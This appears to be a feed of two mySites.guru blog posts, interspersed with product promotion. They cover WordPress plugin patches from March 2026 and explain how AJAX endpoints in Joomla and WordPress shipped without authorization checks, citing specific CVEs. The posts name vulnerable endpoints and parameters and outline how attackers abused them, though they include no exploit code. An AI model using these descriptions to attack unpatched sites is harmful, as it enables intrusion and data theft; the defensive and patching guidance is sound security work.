AJAX file upload handlers have far more surface area than they look, and "we patched it" and "we are safe" are not the same sentence. A vendor can genuinely try to fix an AJAX handler and still ship an exploit because the surface area is that large. If you manage more than a handful of sites, you need a way to answer "which of my sites are running plugin X below version Y" in under a minute, and a way to see if anything unexpected has been written to disk since the last scan. Without both, you cannot respond to vulnerabilities like this before the scanners finish their sweep.

<div class="not-prose my-10 rounded-xl border border-blue-200 bg-blue-50 p-6 dark:border-blue-800 dark:bg-blue-950"> <p class="text-lg font-semibold text-blue-900 dark:text-blue-200">Stop guessing which sites are vulnerable</p> <p class="mt-2 text-blue-800 dark:text-blue-300">mySites.guru connects to every WordPress and Joomla site you manage, indexes every plugin and extension, and cross-references them against vulnerability databases continuously. One flat price of £19.99 per month. Unlimited sites. Same pricing since 2012.</p> <div class="mt-4 flex flex-wrap items-center gap-3"> <a href="/free-audit/" class="inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500">Run a free audit</a> <a href="https://manage.mysites.guru/en/register" class="inline-flex items-center gap-2 rounded-md border border-blue-300 bg-white px-4 py-2 text-sm font-medium text-blue-700 no-underline hover:bg-blue-100 dark:border-blue-700 dark:bg-blue-900 dark:text-blue-200 dark:hover:bg-blue-800">Sign up free</a> </div> </div>

4 Major WordPress Plugins Patched Security Flaws in March 2026

phil@mysites.guru (Phil Taylor) — Mon, 06 Apr 2026 00:00:00 GMT

Four of WordPress's most-installed plugins all shipped security patches in March 2026: Elementor (10 million active installs), Yoast SEO (10 million), WPForms (6 million), and Really Simple Security (3 million). Combined, that is over 29 million WordPress installations running code that needed fixing.

The patches shipped as minor version bumps. No emergency banners, no vendor blog posts sounding the alarm. If you check your plugins regularly, you might have noticed the update dot. If you rely on auto-updates, you might be fine. If you do neither, your sites are still vulnerable.

Two of these four vulnerabilities require no authentication to exploit. An attacker does not need an account on your site. They just need to know your site exists.

How Does mySites.guru Help With WordPress Plugin Vulnerabilities?

If you manage WordPress sites for clients, you already know these patches exist. The information is public. The hard part is checking every site actually got them. Four plugins across 50 client sites is 200 individual version checks. Manually, that is an afternoon. With a dashboard, it takes seconds.

mySites.guru's vulnerability alerting cross-references every installed plugin on your connected sites against the Wordfence Vulnerability API twice daily. When a CVE drops for a plugin you have installed, you get flagged automatically, without RSS feeds to monitor or security blogs to bookmark.

For patches like these, you can see at a glance which sites are still running vulnerable versions, then push updates in bulk across your entire portfolio. Or run a free audit on any site to see its current plugin versions and known vulnerabilities in under a minute.

The WordPress Extensions page lists every plugin installed across all your connected sites. Filter by name, sort by version, and click "Which sites?" to find exactly where a specific plugin is running.

</div>

Click through to any plugin and you see every version variant across your portfolio. In this example, Elementor 3.35.5 (vulnerable) and 3.35.8 (patched) are both present, with a "1 Vulnerable Plugins!" warning on the sites still running the old version.

</div>

When a site has a known vulnerable plugin, the manage site page shows a red warning banner at the top with the CVE details and a link to learn more.

</div>

The WordPress vulnerability scanner page explains the full detection pipeline.

What Got Patched?

Elementor - Sensitive Data Exposure (CVE-2026-1206)

Detail	Value
CVE	CVE-2026-1206
CVSS	4.3 Medium
Type	Incorrect Authorization / Information Disclosure
Affected versions	All versions up to 3.35.7
Patched version	3.35.8 (March 23, 2026)
Auth required	Yes - Contributor or above
Researcher	Angus Girvan (via Wordfence)

The is_allowed_to_read_template() function in Elementor had a logic error. It treated non-published templates as readable without checking whether the requesting user actually had edit capabilities. A contributor could call the get_template_data action via the elementor_ajax endpoint with any template_id and pull back private or draft template content.

This is a confidentiality issue, not a code execution flaw. No one is taking over your site through this alone. But draft templates often contain unreleased page layouts, pricing structures, or client content that should not be accessible to low-privilege users.

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">mySites.guru subscribers: check your Elementor versions now</p> <p class="mt-2"><a href="https://manage.mysites.guru/en/extensions/similar/to/a4711e26b508c580ec1e12ba9aa6e5fd" class="inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500">Open Elementor Extension Search</a></p> <p class="mt-2 text-sm text-blue-800 dark:text-blue-300">Lists every Elementor version across your connected sites, grouped by version number. Spot 3.35.7 or earlier at a glance. Not a subscriber? <a href="https://manage.mysites.guru/en/register" class="text-blue-700 underline dark:text-blue-300">Sign up free</a> to get this visibility.</p> </div>

Yoast SEO - Stored Cross-Site Scripting (CVE-2026-3427)

Detail	Value
CVE	CVE-2026-3427
CVSS	6.4 Medium
Type	Stored XSS
Affected versions	All versions up to 27.1.1
Patched version	27.2 (March 17, 2026)
Auth required	Yes - Contributor or above
Researcher	Osvaldo Noe Gonzalez Del Rio (via Wordfence)

Yoast SEO failed to sanitize the jsonText block attribute in the HowTo block. A contributor could inject arbitrary JavaScript into page content. The script executes in the browser of anyone who views the page, including administrators.

What can an attacker do with it? Steal admin session cookies, redirect users, deface content, or inject SEO spam. XSS in a plugin installed on 10 million sites is a wide attack surface, even with the contributor-level authentication requirement. Sites with open registration, guest author accounts, or compromised low-privilege credentials are the obvious targets.

Yoast's 27.2 changelog mentions "adds sanitization to duration text for the HowTo block" without naming the CVE directly. This is normal - most vendors downplay security fixes in their changelogs.

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">mySites.guru subscribers: check your Yoast SEO versions now</p> <p class="mt-2"><a href="https://manage.mysites.guru/en/extensions/similar/to/f1263de85d3f10996c0a7f8f55cf7e58" class="inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500">Open Yoast SEO Extension Search</a></p> <p class="mt-2 text-sm text-blue-800 dark:text-blue-300">Shows which of your sites run Yoast SEO 27.1.1 or earlier. Not a subscriber? <a href="https://manage.mysites.guru/en/register" class="text-blue-700 underline dark:text-blue-300">Sign up free</a> and connect your sites.</p> </div>

WPForms - Sensitive Data Exposure (CVE-2026-25339)

Detail	Value
CVE	CVE-2026-25339
CVSS	Medium (score not yet assigned by NVD)
Type	Sensitive Data Exposure
Affected versions	All versions up to 1.9.9.1
Patched version	1.9.9.2
Auth required	No - unauthenticated
Researcher	Not publicly attributed

This one requires no login at all. An unauthenticated attacker can trigger sensitive data exposure from WPForms. The exact technical mechanism has not been fully documented publicly, but the vulnerability is confirmed across multiple security databases including the Sucuri March 2026 roundup and Patchstack.

WPForms is the most popular form plugin for WordPress. It collects contact form submissions, payment details, registration data, and application forms. A data exposure flaw in a form plugin deserves urgent attention because the data it handles is sensitive by definition.

The current version on wordpress.org is 1.10.0.2, so 1.9.9.2 is now several releases behind. If you are still on 1.9.9.x, update immediately.

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">mySites.guru subscribers: check your WPForms versions now</p> <p class="mt-2 flex gap-2"><a href="https://manage.mysites.guru/en/extensions/similar/to/cc7d0bb668e89ba461c945588ef2008e" class="inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500">WPForms Lite</a> <a href="https://manage.mysites.guru/en/extensions/similar/to/334cd5ef5a7c73a6255c3d6c33204ee1" class="inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500">WPForms Pro</a></p> <p class="mt-2 text-sm text-blue-800 dark:text-blue-300">Both Lite and Pro editions are affected - check which version each of your sites is running. Not a subscriber? <a href="https://manage.mysites.guru/en/register" class="text-blue-700 underline dark:text-blue-300">Sign up free</a> and connect your sites.</p> </div>

Really Simple Security - Broken Access Control (CVE-2026-32461)

Detail	Value
CVE	CVE-2026-32461
CVSS	5.3 Medium
Type	Missing Authorization (CWE-862)
Affected versions	All versions through 9.5.7
Patched version	9.5.8 (February 26, 2026)
Auth required	No - unauthenticated
Researcher	Or Benit (via Patchstack Bug Bounty)

Really Simple Security (formerly Really Simple SSL) had missing authorization checks on certain plugin functions. An unauthenticated attacker can call these functions to modify plugin settings without logging in.

The CVSS vector confirms integrity impact only - no data theft, no denial of service. The likely practical attack is manipulating SSL/security settings: disabling HTTPS enforcement, altering security rules, or weakening the site's security posture to enable follow-up attacks like session hijacking over unencrypted connections.

Note the patch date: February 26, over five weeks ago. The CVE was published March 13. If your sites have not updated to at least 9.5.8 in over a month, your update process needs attention.

Why Did These All Land in the Same Month?

March 2026 was unusually busy for WordPress plugin security. Beyond these four, we also covered Smart Slider 3's arbitrary file read (CVE-2026-3098) and the broader pattern of AJAX endpoint authorization failures across both WordPress and Joomla ecosystems. The pattern continued into April with Ninja Forms File Uploads (CVE-2026-0740), a CVSS 9.8 unauthenticated RCE in another WordPress plugin AJAX handler affecting around 50,000 sites.

This is not a coordinated attack. It is the natural result of increased security research activity. The Wordfence Bug Bounty and Patchstack Bug Bounty programs have been scaling up, paying researchers to audit popular plugins. More researchers auditing more plugins means more vulnerabilities found and disclosed. The patches come in waves because the responsible disclosure timelines converge.

The takeaway is better process, not panic. If checking four plugins across your portfolio takes manual effort, you will fall behind when the next wave hits.

How to Check If Your Sites Are Patched

Manual Check (Single Site)

Log into wp-admin
Go to Plugins > Installed Plugins
Find each plugin and compare the version number:

Plugin	Minimum safe version
Elementor	3.35.8
Yoast SEO	27.2
WPForms	1.9.9.2
Really Simple Security	9.5.8

If any version is lower, click Update Now

Bulk Check With mySites.guru (Unlimited Sites)

mySites.guru's WordPress Extensions page lists every plugin across all your connected sites with version numbers. Checking all four plugins takes under a minute:

Open Your WordPress Extensions in mySites.guru
Type "Elementor" in the filter bar
Click Which sites? to see every site running it, grouped by version
Any site on 3.35.7 or earlier is vulnerable - update it
Repeat for Yoast SEO, WPForms, and Really Simple Security

Sites running vulnerable versions are flagged automatically with a red "Vulnerable Plugins!" badge. You do not need to remember version numbers or cross-reference CVE databases - the dashboard does it for you.

Once you've identified the sites that need updating, push the updates in bulk from the same dashboard. No SSH access required, no logging into individual admin panels.

Try a free audit to see where any single site stands, or sign up to connect your full portfolio and get this visibility across all your sites.

WP-CLI Check (Command Line)

If you have SSH access and WP-CLI installed:

wp plugin list --fields=name,version,update_version --format=table

This shows the installed version alongside the available update version. Run it on each site, or script it across multiple servers.

What to Do After Updating

Patching is step one. For the two unauthenticated vulnerabilities (WPForms and Really Simple Security), consider whether exploitation may have occurred before you applied the patch:

WPForms: Review form submission logs for unusual entries. Check whether any form data was accessed by unauthorized parties. If you collect payment or personal data through WPForms, assess whether a data breach notification is required under your jurisdiction's privacy laws.
Really Simple Security: Check your SSL/security settings are still correctly configured. Verify HTTPS enforcement is active. Review the plugin's settings page for unexpected changes.
Both: Run a security audit and check for signs of compromise. Look for unfamiliar admin accounts, modified files, or unexpected cron jobs.

For the two authenticated vulnerabilities (Elementor and Yoast SEO), review your user list. If any contributor or author accounts were created without your knowledge, that is worth investigating regardless of these specific CVEs.

Are Auto-Updates Enough?

WordPress supports per-plugin auto-updates, and many hosts enable them by default. In theory, your sites should have received these patches automatically. In practice:

Some agencies disable auto-updates for stability reasons
Some hosts delay or batch auto-updates
Plugin auto-updates can fail silently if the site has filesystem permission issues
Minor-only auto-update policies may not catch plugin updates at all

Auto-updates are a good safety net, not a replacement for monitoring. The only way to be certain a patch landed is to verify the installed version. Trust, but verify.

<div class="not-prose my-10 rounded-xl border border-neutral-200 bg-neutral-50 p-6 dark:border-neutral-700 dark:bg-neutral-900"> <div class="flex items-start gap-4"> <div class="flex shrink-0 items-center gap-1 text-yellow-500"> <svg class="h-5 w-5" fill="currentColor" viewBox="0 0 20 20"><path d="M9.049 2.927c.3-.921 1.603-.921 1.902 0l1.07 3.292a1 1 0 00.95.69h3.462c.969 0 1.371 1.24.588 1.81l-2.8 2.034a1 1 0 00-.364 1.118l1.07 3.292c.3.921-.755 1.688-1.54 1.118l-2.8-2.034a1 1 0 00-1.175 0l-2.8 2.034c-.784.57-1.838-.197-1.539-1.118l1.07-3.292a1 1 0 00-.364-1.118L2.98 8.72c-.783-.57-.38-1.81.588-1.81h3.461a1 1 0 00.951-.69l1.07-3.292z"/></svg> <svg class="h-5 w-5" fill="currentColor" viewBox="0 0 20 20"><path d="M9.049 2.927c.3-.921 1.603-.921 1.902 0l1.07 3.292a1 1 0 00.95.69h3.462c.969 0 1.371 1.24.588 1.81l-2.8 2.034a1 1 0 00-.364 1.118l1.07 3.292c.3.921-.755 1.688-1.54 1.118l-2.8-2.034a1 1 0 00-1.175 0l-2.8 2.034c-.784.57-1.838-.197-1.539-1.118l1.07-3.292a1 1 0 00-.364-1.118L2.98 8.72c-.783-.57-.38-1.81.588-1.81h3.461a1 1 0 00.951-.69l1.07-3.292z"/></svg> <svg class="h-5 w-5" fill="currentColor" viewBox="0 0 20 20"><path d="M9.049 2.927c.3-.921 1.603-.921 1.902 0l1.07 3.292a1 1 0 00.95.69h3.462c.969 0 1.371 1.24.588 1.81l-2.8 2.034a1 1 0 00-.364 1.118l1.07 3.292c.3.921-.755 1.688-1.54 1.118l-2.8-2.034a1 1 0 00-1.175 0l-2.8 2.034c-.784.57-1.838-.197-1.539-1.118l1.07-3.292a1 1 0 00-.364-1.118L2.98 8.72c-.783-.57-.38-1.81.588-1.81h3.461a1 1 0 00.951-.69l1.07-3.292z"/></svg> <svg class="h-5 w-5" fill="currentColor" viewBox="0 0 20 20"><path d="M9.049 2.927c.3-.921 1.603-.921 1.902 0l1.07 3.292a1 1 0 00.95.69h3.462c.969 0 1.371 1.24.588 1.81l-2.8 2.034a1 1 0 00-.364 1.118l1.07 3.292c.3.921-.755 1.688-1.54 1.118l-2.8-2.034a1 1 0 00-1.175 0l-2.8 2.034c-.784.57-1.838-.197-1.539-1.118l1.07-3.292a1 1 0 00-.364-1.118L2.98 8.72c-.783-.57-.38-1.81.588-1.81h3.461a1 1 0 00.951-.69l1.07-3.292z"/></svg> <svg class="h-5 w-5" fill="currentColor" viewBox="0 0 20 20"><path d="M9.049 2.927c.3-.921 1.603-.921 1.902 0l1.07 3.292a1 1 0 00.95.69h3.462c.969 0 1.371 1.24.588 1.81l-2.8 2.034a1 1 0 00-.364 1.118l1.07 3.292c.3.921-.755 1.688-1.54 1.118l-2.8-2.034a1 1 0 00-1.175 0l-2.8 2.034c-.784.57-1.838-.197-1.539-1.118l1.07-3.292a1 1 0 00-.364-1.118L2.98 8.72c-.783-.57-.38-1.81.588-1.81h3.461a1 1 0 00.951-.69l1.07-3.292z"/></svg> <span class="ml-1 text-sm font-semibold text-neutral-900 dark:text-neutral-100">4.6/5</span> </div> </div> <p class="mt-3 text-lg font-semibold text-neutral-900 dark:text-neutral-100">Rated 4.6/5 by WP Mayor</p> <p class="mt-1 text-sm text-neutral-600 dark:text-neutral-400">"An excellent solution for agencies and developers who manage multiple WordPress and Joomla sites. The vulnerability scanning and alerting alone make it worth the subscription."</p> <div class="mt-4 flex flex-wrap items-center gap-3"> <a href="https://wpmayor.com/mysites-guru-review/" target="_blank" rel="noopener" class="inline-flex items-center gap-2 rounded-md border border-neutral-300 bg-white px-4 py-2 text-sm font-medium text-neutral-700 no-underline hover:bg-neutral-100 dark:border-neutral-600 dark:bg-neutral-800 dark:text-neutral-200 dark:hover:bg-neutral-700">Read the WP Mayor review</a> <a href="https://manage.mysites.guru/en/register" class="inline-flex items-center gap-2 rounded-md bg-neutral-900 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-neutral-800 dark:bg-white dark:text-neutral-900 dark:hover:bg-neutral-100">Try mySites.guru free</a> </div> </div>

AJAX Endpoints Are A Big CMS Security Blind Spot

phil@mysites.guru (Phil Taylor) — Fri, 03 Apr 2026 00:00:00 GMT

In March 2026, five separate AJAX and API vulnerabilities were disclosed across Joomla and WordPress. All five exploited the same weakness: AJAX endpoints that, at most, verify a CSRF token but never check who the user is or whether they have permission to perform the action.

Update (April 7, 2026): the pattern continued into April. On April 6, Wordfence publicly disclosed CVE-2026-0740 in Ninja Forms File Uploads, a CVSS 9.8 unauthenticated arbitrary file upload in another WordPress plugin AJAX handler. It affects around 50,000 sites, and the first patch the vendor shipped did not actually fix the issue - only 3.3.27 closes it. Same root cause, same surface, different plugin.

The individual vulnerabilities have been patched. Joomla 5.4.4 added a framework-level authentication check to com_ajax, and WordPress's admin-ajax.php already requires a login for non-nopriv hooks. But neither system checks authorization at the framework level. That is still the developer's responsibility, and the pattern of AJAX handlers shipping without capability checks shows that too many developers do not realise it.

What makes AJAX endpoints so dangerous?

Both Joomla's com_ajax and WordPress's admin-ajax.php were built as lightweight utility endpoints. They exist so plugins and extensions can handle AJAX requests without needing their own dedicated routes. Convenient for developers, dangerous in practice.

The design assumption behind both systems is the same: the plugin on the other end will handle its own security. The AJAX handler just passes the request through. At best, it verifies a CSRF token or nonce to confirm the request was not forged. But a CSRF check is not authentication, and it is definitely not authorization. It proves the request came from a legitimate page. It does not prove who sent it or whether they should be allowed to do what they are asking.

Extension developers treat these endpoints as if they were internal buses, trusting that by the time a request reaches their code, it has already been validated. But com_ajax is publicly accessible. admin-ajax.php is accessible to any authenticated user, including subscribers. When the plugin on the other end skips its own authorization check, you get an unauthenticated (or under-authenticated) attack surface hiding behind what looks like internal plumbing.

That is not a one-off, and March 2026 proved it five times over.

What is the difference between authentication and authorization?

Most of the vulnerabilities in this post confuse these two concepts, or skip both entirely.

Authentication verifies who are you? - is this a real, logged-in user with a valid session? A CSRF token does not do this. It only confirms the request was not forged from another site. Checking authentication means checking the user's session state: is_user_logged_in() in WordPress, or $app->getIdentity()->id in Joomla (returns 0 for guests).

Authorization verifies are you allowed to do this? - even if someone is logged in, they may not have permission for a specific action. A WordPress subscriber should not be able to export wp-config.php. A Joomla user without admin privileges should not be able to upload files via a template framework. Checking authorization means an explicit capability check: current_user_can('manage_options') in WordPress, or $user->authorise('core.manage', 'com_templates') in Joomla.

Most of the AJAX vulnerabilities covered here had a CSRF token check but skipped both authentication and authorization. The request was not forged. Nobody checked who sent it.

Why did Joomla's own team have to harden com_ajax?

The most telling entry in the March 2026 disclosure list is CVE-2026-21629 - and it did not come from a third-party extension. The Joomla Security Strike Team themselves found that com_ajax, the component routing AJAX requests for every Joomla plugin, was excluded from the default logged-in-user check in the admin area.

That means com_ajax in the backend did not even require a logged-in user by default. The AdministratorApplication class explicitly whitelisted com_ajax on the same allowlist as the login page itself, so that pre-login AJAX calls (WebAuthn/passkey flows, CAPTCHA) could work. The consequence: any unauthenticated visitor could reach backend AJAX handlers directly.

Third-party developers building admin AJAX handlers could reasonably assume the framework had already verified the user was authenticated. Every other backend component required a logged-in user. com_ajax did not, and nothing in Joomla's developer documentation warned them otherwise. The official docs on com_ajax focus entirely on mechanics - URL parameters, method naming, response formats - with no mention that the backend endpoint bypassed the normal login requirement.

That left every extension developer responsible for rolling their own authentication and authorization checks inside every AJAX handler. Some did. Astroid and Novarain did not. And because the gap was invisible - nothing in the framework signalled that the developer needed to add those checks - the same mistake was made independently by multiple development teams.

The severity was rated Low, but the implications are serious. This was not a plugin-level oversight. The framework itself had an authorization gap that every extension built on top of it inherited. The Astroid and Novarain vulnerabilities are the direct, predictable consequences of that gap.

What does the actual Joomla fix look like?

The commit that fixed CVE-2026-21629 is worth reading because it shows exactly how Joomla flipped the default. The fix adds a check at the top of components/com_ajax/ajax.php:

$unauthorizedAdministratorAccessCheck = (
    $app->isClient('administrator') && $app->getIdentity()->guest
);

If the request is hitting the admin-area com_ajax and the user is a guest (not logged in), the fix then uses PHP reflection to inspect the target method for a new attribute called AllowUnauthorizedAdministratorAccess. If the method does not carry that attribute, the request is rejected with JERROR_ALERTNOAUTHOR.

$verifyUnauthorizedAdministratorAccessCheck =
    function ($classOrObject, $method): void {
        $reflection = new ReflectionMethod(
            $classOrObject, $method
        );

        foreach ($reflection->getAttributes() as $attribute) {
            if ($attribute->getName()
                === AllowUnauthorizedAdministratorAccess::class
            ) {
                return;
            }
        }

        throw new RuntimeException(
            Text::_('JERROR_ALERTNOAUTHOR')
        );
    };

This check runs for every code path through com_ajax - module helpers, plugins, and template helpers all get the same gate. The only way through as a guest is to explicitly opt in with the PHP attribute on your method:

#[AllowUnauthorizedAdministratorAccess]
public function onAjaxWebauthn(AjaxEvent $event): void

The WebAuthn (passkey) plugin gets this attribute because it legitimately needs to work before login. Everything else is blocked by default.

The default flipped. Before: open to everyone unless the developer adds a check. After: blocked for guests unless the developer explicitly opts in with a PHP attribute. Extensions like Astroid and Novarain would now be blocked automatically, because their AJAX methods do not carry the AllowUnauthorizedAdministratorAccess attribute.

<div class="not-prose my-6 rounded-lg border border-red-200 bg-red-50 p-4 dark:border-red-800 dark:bg-red-950"> <p class="font-medium text-red-900 dark:text-red-200">Backwards-compatibility break for Joomla extension developers</p> <p class="mt-1 text-sm text-red-800 dark:text-red-300">This fix does not just block handlers that were missing authentication. It blocks any admin AJAX handler that does not authenticate <em>the Joomla way</em> - specifically, by having a valid admin session. If a developer was already performing their own authentication checks (API key validation, custom token verification, IP-based restrictions, or any other method that does not go through Joomla's session system), their handler will now be rejected before their code even runs. The framework-level guest check fires first, and if there is no Joomla admin session, the request is denied regardless of what the handler itself would have done.</p> <p class="mt-2 text-sm text-red-800 dark:text-red-300">Developers who were doing the right thing - securing their AJAX handlers properly, just not using Joomla's built-in session system - are now broken alongside developers who were doing nothing at all.</p> </div>

The only escape hatch is the #[AllowUnauthorizedAdministratorAccess] attribute, which opts the method back out of the framework check entirely. But adding that attribute also removes the protection for handlers that genuinely were insecure, so developers need to be certain their own checks are solid before opting out.

Extensions with legitimate pre-login needs (like WebAuthn) can opt back in with the attribute. Extensions that were unknowingly exposed (like Astroid and Novarain) get protected automatically. Extensions that had their own security but not via Joomla sessions get caught in the crossfire.

Here is what makes this worse: the official 5.4.4 / 6.0.4 release announcement does not mention this breaking change at all. The security fix is listed as "[20260301] - ACL hardening in com_ajax" with no further detail, no warning to extension developers, and no indication that existing plugins may stop working. The announcement even reassures developers that the upgrade is smooth and most extensions will work with the backwards compatibility plugin enabled.

The actual documentation of this breaking change is buried in the 6.0.4 known issues page on the Joomla developer manual - a page that most extension developers will never check for a point release. It acknowledges the change, notes that performing ACL checks in custom code "was considered a best practice," and points to the WebAuthn plugin as a reference implementation for the new attribute. That is the entirety of the guidance.

A security fix that changes the default behaviour of com_ajax for every Joomla extension using admin AJAX handlers, that will silently break any plugin relying on the previous open default, shipped with a one-line entry in the release notes and was documented only in a known-issues sub-page of the migration manual. Any extension developer who updated to 5.4.4 and found their AJAX handlers returning authorization errors would have had no obvious explanation unless they stumbled onto that page.

The security fix is the right call. Shipping a breaking change in a point release with no prominent warning to developers is not.

It took over a decade of Joomla releases (3.0.0 through 5.4.3 and 6.0.0 through 6.0.3) for this default to be corrected. Every extension built during that time inherited the open default, and many shipped without the authentication checks that the framework should have enforced from the start.

The official Joomla docs still teach this insecure pattern

As of April 2026, the Joomla developer manual's own AJAX example component ships with no CSRF token check, no authentication, and no authorization in its AJAX controller. The AjaxController::divide() method reads user input directly from the request and returns a response without verifying anything about the caller:

public function divide()
{
    $input = $this->app->input;
    $a = $input->get("a", 0, "float");
    $b = $input->get("b", 0, "float");
    // ... no Session::checkToken(), no $user->authorise(), no guest check
    $result = $this->_divide($a, $b);
    echo new JsonResponse($result, "It worked!");
}

The JavaScript that calls this endpoint does not send a CSRF token either. Any anonymous visitor can hit index.php?option=com_ajaxdemo&format=json&task=ajax.divide and the controller will happily process the request.

It could be argued that this is just a simple frontend public example, and security checks would complicate the teaching. But it is called "AjaxDemo" and it does not even use com_ajax - it routes through its own component controller. So the official AJAX example component does not demonstrate AJAX security or com_ajax.

This particular endpoint only divides two numbers, so the security impact is zero. But this is a teaching example. Developers copy these patterns into real extensions that handle file uploads, database writes, and admin operations. If the official documentation demonstrates AJAX without any security checks, it should not be a surprise when developers ship extensions without any security checks.

Would the 5.4.4 fix make this example secure? No. The com_ajaxdemo example routes requests through its own component controller (index.php?option=com_ajaxdemo&task=ajax.divide), not through com_ajax. The 5.4.4 authentication check only applies to requests routed through com_ajax. Components with their own controllers are completely unaffected by the fix. A developer who copies this pattern into an admin component will have an unauthenticated endpoint that no framework-level check will catch.

It is not just the example component. The official documentation pages for AJAX plugins, com_ajax, and AJAX in general do not mention authentication or authorization either. Nowhere in Joomla's AJAX documentation does a developer encounter a warning that their handler needs to verify who is calling it or whether they have permission.

The Astroid and Novarain developers did not invent the insecure pattern. They learned it.

How does WordPress handle this differently?

WordPress takes the opposite default. Its admin-ajax.php uses a two-hook system with baked-in authentication:

wp_ajax_{action} only fires if the user is logged in. WordPress checks is_user_logged_in() itself, before any plugin code runs.
wp_ajax_nopriv_{action} fires for unauthenticated users. Developers must explicitly register this hook to allow guest access.

In WordPress, a developer has to opt into unauthenticated access. In Joomla before 5.4.4, a developer had to opt into authenticated-only access by coding the check themselves. The defaults were reversed.

Neither system checks authorization (does this user have permission to do this specific thing?) - that is still the developer's job on both platforms. But WordPress's framework-level gate catches the most common mistake: forgetting authentication entirely. Joomla's com_ajax caught nothing until 5.4.4.

Which five incidents prove the AJAX frontdoor security lax pattern?

All five were disclosed in March 2026.

Astroid Framework for Joomla (CVE-2026-21628, CVSS 10.0)

The Astroid Framework vulnerability is the textbook example. The AJAX endpoint in Admin.php used Joomla's checkToken() to verify CSRF tokens but never checked whether the requester was actually an administrator. Attackers grabbed the token from the public login page and used it to upload backdoors and install SEO spam plugins. No login required. CVSS 10.0, the maximum possible score.

The fix was a single authorization check: $user->authorise('core.manage', 'com_templates'). Standard Joomla ACL that should have been there from the start.

Novarain Framework for Joomla (CVE-2026-21627, CVSS 9.5)

The Novarain/Tassos Framework vulnerability went further. Fully unauthenticated, with no token, no login, and no capability check at all. Joomla's com_ajax routed requests to the nrframework plugin, which whitelisted file inclusion as a non-admin task. Attackers could include arbitrary PHP files, delete files, and perform SQL injection through a single AJAX endpoint. Six weeks after the patch, 46.5% of affected sites in our dataset were still running vulnerable versions.

Smart Slider 3 for WordPress (CVE-2026-3098, CVSS 6.5)

The Smart Slider 3 vulnerability targeted the WordPress side. The plugin's export AJAX actions had a nonce for CSRF protection but no capability check. Any subscriber-level user could call the export function and download arbitrary files from the server, including wp-config.php with database credentials and authentication keys. Smart Slider 3 has over 800,000 active installs, and roughly 500,000 were still running vulnerable versions at disclosure.

Same pattern, different CMS. CSRF protection without authentication or authorization.

Joomla core com_ajax ACL hardening (CVE-2026-21629)

Covered in detail above. The framework routing every Joomla plugin's AJAX requests was itself missing the default authentication check in the admin area.

Joomla webservice endpoint access bypass (CVE-2026-23899)

Joomla's webservice API layer did not properly verify that incoming requests had the right permissions, allowing unauthorized access to restricted endpoints. Reported by vnth4nhnt from CyStack and fixed in the same release. Different mechanism than com_ajax, same category of failure: an endpoint that accepts requests it should reject.

Is this just a March 2026 problem?

No. The same AJAX authorization failure has been producing critical vulnerabilities for at least a year:

Advanced Custom Fields: Extended (CVE-2025-13486, CVSS 9.8) - The acfe/form/render_form_ajax endpoint had no nonce check and no capability check. Unauthenticated visitors could invoke arbitrary PHP functions via call_user_func_array(), leading to full remote code execution. Over 100,000 WordPress sites affected. Actively exploited in the wild from December 2025.

King Addons for Elementor (CVE-2025-8489, CVSS 9.8) - The king_addons_user_register AJAX action accepted a user_role parameter from POST data without restriction and without any capability check. Any unauthenticated visitor could create an administrator account. Wordfence recorded over 48,400 blocked exploitation attempts from October 2025.

Gravity Forms (CVE-2025-12352, CVSS 9.8) - The copy_post_image AJAX function performed no file type validation and no authorization check. Unauthenticated attackers could upload PHP backdoors. This is one of the most widely-used premium WordPress form plugins.

Anti-Malware Security and Brute-Force Firewall (CVE-2025-11705, CVSS 6.5) - A security plugin with the same vulnerability it was supposed to protect against. The scan AJAX handler had CSRF protection via a nonce but never called current_user_can() to verify the user's role. Any subscriber could obtain the nonce through the quarantine view and use it to read arbitrary files, including wp-config.php. Over 100,000 installs.

HUSKY Products Filter for WooCommerce (CVE-2025-1661, CVSS 9.8) - The woof_text_search AJAX action was registered for unauthenticated users via wp_ajax_nopriv_. The template parameter accepted user input for file inclusion with no path restriction. Unauthenticated local file inclusion leading to full remote code execution.

Same blueprint every time. The March 2026 cluster just made the pattern impossible to ignore by hitting both CMS platforms in the same month.

What should extension developers be doing better?

The five March 2026 CVEs and the year of AJAX vulnerabilities before them all trace back to one habit: developers treating AJAX endpoints as internal plumbing rather than public attack surface.

Always authorize, never just authenticate

A CSRF token or nonce only proves the request was not forged. It says nothing about who the user is or whether they have permission to perform the action. Every AJAX handler needs both an authentication check (is this a valid, logged-in user?) and a capability check (does this user have the right permissions?).

In WordPress, that means current_user_can('manage_options') (or whatever capability fits the action) before executing any logic. In Joomla, that means $user->authorise('core.manage', 'com_yourcomponent') or a more specific ACL check.

Never trust the framework to do your security for you

Until Joomla 5.4.4, com_ajax in the backend did not require authentication. Even after the fix, neither Joomla nor WordPress checks authorization at the framework level. Your AJAX handler is a public endpoint. Treat it like one.

Register the minimum access level

In WordPress, only register wp_ajax_nopriv_{action} if the action genuinely needs to work for unauthenticated visitors. For admin-only actions, only register wp_ajax_{action}. This gives you the framework's login check as a free first line of defence.

In Joomla (post-5.4.4), the backend com_ajax now requires authentication by default. But developers supporting older Joomla versions should still verify the user is logged in (e.g. checking $app->getIdentity()->id is non-zero) as a fallback.

Validate and sanitize all input

